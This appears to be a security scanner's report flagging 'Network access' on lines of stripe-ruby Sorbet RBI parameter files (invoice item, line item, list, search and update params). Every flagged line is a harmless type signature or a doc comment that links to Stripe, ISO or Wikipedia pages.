    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 47
    def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.       sig { returns(String) }
  • Network accessline 48
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 51
    sig { params(_product: String).returns(String) }       def product=(_product); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(rec
  • Network accessline 52
    def product=(_product); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings.
  • Network accessline 53
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 91
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }     def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](htt
  • Network accessline 92
    def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(T.nilable(String)) }
  • Network accessline 93
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 133
    sig { params(_invoice: T.nilable(String)).returns(T.nilable(String)) }     def invoice=(_invoice); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing add
  • Network accessline 134
    def invoice=(_invoice); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 135
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 140
    }     def metadata=(_metadata); end     # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recog
  • Network accessline 141
    def metadata=(_metadata); end     # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition
  • Network accessline 142
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 147
    }     def period=(_period); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 148
    def period=(_period); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.     sig { returns(T.nilable(InvoiceItemCreateParams::PriceData)) }
  • Network accessline 149
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 171
    sig { params(_subscription: T.nilable(String)).returns(T.nilable(String)) }     def subscription=(_subscription); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#se
  • Network accessline 172
    def subscription=(_subscription); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s
  • Network accessline 173
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 176
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }     def tax_behavior=(_tax_behavior); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 177
    def tax_behavior=(_tax_behavior); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.     sig { returns(T.nilable(String)) }
  • Network accessline 178
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_item_update_params.rbi

  • Network accessline 41
    end     class PriceData < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 42
    class PriceData < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(Stri
  • Network accessline 43
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 46
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 47
    def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.       sig { returns(String) }
  • Network accessline 48
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 51
    sig { params(_product: String).returns(String) }       def product=(_product); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(rec
  • Network accessline 52
    def product=(_product); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings.
  • Network accessline 53
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 113
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 114
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 115
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 120
    }     def metadata=(_metadata); end     # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recog
  • Network accessline 121
    def metadata=(_metadata); end     # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition
  • Network accessline 122
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 127
    }     def period=(_period); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 128
    def period=(_period); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.     sig { returns(T.nilable(InvoiceItemUpdateParams::PriceData)) }
  • Network accessline 129
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 146
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }     def quantity=(_quantity); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-de
  • Network accessline 147
    def quantity=(_quantity); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings.
  • Network accessline 148
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 151
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }     def tax_behavior=(_tax_behavior); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 152
    def tax_behavior=(_tax_behavior); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.     sig { returns(T.nilable(String)) }
  • Network accessline 153
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_line_item_update_params.rbi

  • Network accessline 52
    sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }         def images=(_images); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can 
  • Network accessline 53
    def images=(_images); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 54
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 64
    sig { params(_name: String).returns(String) }         def name=(_name); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 65
    def name=(_name); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.         sig { returns(T.nilable(String)) }
  • Network accessline 66
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 86
    ); end       end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 87
    end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 88
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 91
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `produc
  • Network accessline 92
    def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.       sig { returns(T.
  • Network accessline 93
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 96
    sig { params(_product: T.nilable(String)).returns(T.nilable(String)) }       def product=(_product); end       # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` i
  • Network accessline 97
    def product=(_product); end       # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.       sig { returns(T.nilable(InvoiceLineItemUpdateParams::PriceD
  • Network accessline 98
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 103
    }       def product_data=(_product_data); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the St
  • Network accessline 104
    def product_data=(_product_data); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax
  • Network accessline 105
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 141
    class TaxAmount < ::Stripe::RequestParams       class TaxRateData < ::Stripe::RequestParams         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 142
    class TaxRateData < ::Stripe::RequestParams         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 143
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 176
    sig { params(_percentage: Float).returns(Float) }         def percentage=(_percentage); end         # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United
  • Network accessline 177
    def percentage=(_percentage); end         # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.         sig { returns(T.nilable(String)) }
  • Network accessline 178
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 262
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 263
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 264
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 269
    }     def metadata=(_metadata); end     # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recog
  • Network accessline 270
    def metadata=(_metadata); end     # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition
  • Network accessline 271
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 276
    }     def period=(_period); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 277
    def period=(_period); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.     sig { returns(T.nilable(InvoiceLineItemUpdateParams::PriceData)) }
  • Network accessline 278
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 295
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }     def quantity=(_quantity); end     # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party 
  • Network accessline 296
    def quantity=(_quantity); end     # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates]
  • Network accessline 297
    # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_list_params.rbi

  • Network accessline 106
    sig { params(_starting_after: T.nilable(String)).returns(T.nilable(String)) }     def starting_after=(_starting_after); end     # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://do
  • Network accessline 107
    def starting_after=(_starting_after); end     # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview)     sig { returns(T.nil
  • Network accessline 108
    # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_remove_lines_params.rbi

  • Network accessline 24
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 25
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 26
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_search_params.rbi

  • Network accessline 20
    sig { params(_page: T.nilable(String)).returns(T.nilable(String)) }     def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query 
  • Network accessline 21
    def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for invoices](https://docs.stripe.com/search#query-fields-for-inv
  • Network accessline 22
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for invoices](https://docs.stripe.com/search#query-fields-for-invoices).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_update_lines_params.rbi

  • Network accessline 53
    sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }           def images=(_images); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This 
  • Network accessline 54
    def images=(_images); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 55
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 65
    sig { params(_name: String).returns(String) }           def name=(_name); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 66
    def name=(_name); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.           sig { returns(T.nilable(String)) }
  • Network accessline 67
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 87
    ); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 88
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 89
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 92
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `pr
  • Network accessline 93
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.         sig { return
  • Network accessline 94
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 97
    sig { params(_product: T.nilable(String)).returns(T.nilable(String)) }         def product=(_product); end         # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_dat
  • Network accessline 98
    def product=(_product); end         # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.         sig { returns(T.nilable(InvoiceUpdateLinesParams::Line:
  • Network accessline 99
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 104
    }         def product_data=(_product_data); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th
  • Network accessline 105
    def product_data=(_product_data); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T
  • Network accessline 106
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 142
    class TaxAmount < ::Stripe::RequestParams         class TaxRateData < ::Stripe::RequestParams           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 143
    class TaxRateData < ::Stripe::RequestParams           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 144
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 177
    sig { params(_percentage: Float).returns(Float) }           def percentage=(_percentage); end           # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, Un
  • Network accessline 178
    def percentage=(_percentage); end           # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.           sig { returns(T.nilable(String)) }
  • Network accessline 179
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 263
    sig { params(_id: String).returns(String) }       def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the obj
  • Network accessline 264
    def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be
  • Network accessline 265
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 270
    }       def metadata=(_metadata); end       # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-r
  • Network accessline 271
    def metadata=(_metadata); end       # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recogniti
  • Network accessline 272
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 277
    }       def period=(_period); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 278
    def period=(_period); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.       sig { returns(T.nilable(InvoiceUpdateLinesParams::Line::PriceData)) }
  • Network accessline 279
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 296
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }       def quantity=(_quantity); end       # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-pa
  • Network accessline 297
    def quantity=(_quantity); end       # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rate
  • Network accessline 298
    # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi
  • Network accessline 333
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 334
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 335
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_update_params.rbi

  • Network accessline 20
    def initialize(account: nil, type: nil); end       end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/ta
  • Network accessline 21
    end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspec
  • Network accessline 22
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Network accessline 172
    # Installment configuration for payments attempted on this invoice.           #           # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 173
    #           # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).           sig {
  • Network accessline 174
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 181
    }           def installments=(_installments); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c
  • Network accessline 182
    def installments=(_installments); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-cu
  • Network accessline 183
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 429
    }       def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo
  • Network accessline 430
    def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at 
  • Network accessline 431
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 562
    sig { params(_amount: Integer).returns(Integer) }           def amount=(_amount); end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://strip
  • Network accessline 563
    def amount=(_amount); end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 564
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 567
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217
  • Network accessline 568
    def currency=(_currency); end           # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str
  • Network accessline 569
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 602
    }         def fixed_amount=(_fixed_amount); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 603
    def fixed_amount=(_fixed_amount); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. 
  • Network accessline 604
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 614
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }         def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 615
    def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.         sig { returns(T.nilable(String)) }
  • Network accessline 616
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 661
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 662
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 663
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 681
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 682
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 683
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 741
    }     def account_tax_ids=(_account_tax_ids); end     # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the St
  • Network accessline 742
    def account_tax_ids=(_account_tax_ids); end     # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-A
  • Network accessline 743
    # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe
  • Network accessline 746
